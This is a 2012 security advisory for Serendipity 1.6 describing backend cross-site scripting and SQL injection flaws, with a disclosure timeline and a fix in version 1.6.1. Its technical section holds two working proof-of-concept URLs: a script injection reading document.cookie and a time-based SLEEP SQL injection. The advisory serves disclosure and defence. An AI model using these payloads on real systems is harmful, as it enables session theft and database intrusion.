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Serendipity 1.6 Cross Site Scripting / SQL Injection

Serendipity 1.6 Cross Site Scripting / SQL Injection
Posted May 9, 2012
Authored by Stefan Schurtz

Serendipity version 1.6 suffer from backend related cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
MD5 | b5d97b3dd4b75a3bc2c2abd5cf178fe7

Serendipity 1.6 Cross Site Scripting / SQL Injection

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Advisory:    Serendipity 1.6 Backend Cross-Site Scripting and SQL-Injection vulnerability
Advisory ID: KORAMIS-ADV2012-001
Contact: security@koramis.de
Author: Stefan Schurtz
Affected Software: Successfully tested on Serendipity 1.6
Vendor URL: http://www.s9y.org
Vendor Status: fixed

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Vulnerability Description:
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The Serendipity backend is prone to a Cross-Site Scripting and SQL-Injection vulnerability.

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Technical Details:
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// XSS
http://[target]/serendipity/serendipity_admin_image_selector.php?serendipity[textarea]='"</script><script>alert(document.cookie)</script>

// SQL-Injection
http://[target]/serendipity/serendipity_admin.php?serendipity[adminModule]=plugins&serendipity[plugin_to_conf]=-1' OR SLEEP(10)=0 LIMIT 1--+

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Solution:
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Upgrade to version 1.6.1

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Disclosure Timeline:
====================

21-Apr-2012 - informed developers
22-Apr-2012 - feedback from developer
08-May-2012 - fixed in version 1.6.1

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Credits:
========

Vulnerabilities found and advisory written by Stefan Schurtz (KORAMIS Security Team).

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References:
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http://www.koramis.com/advisories/2012/KORAMIS-ADV2012-001.txt
http://blog.s9y.org/archives/240-Serendipity-1.6.1-released.html

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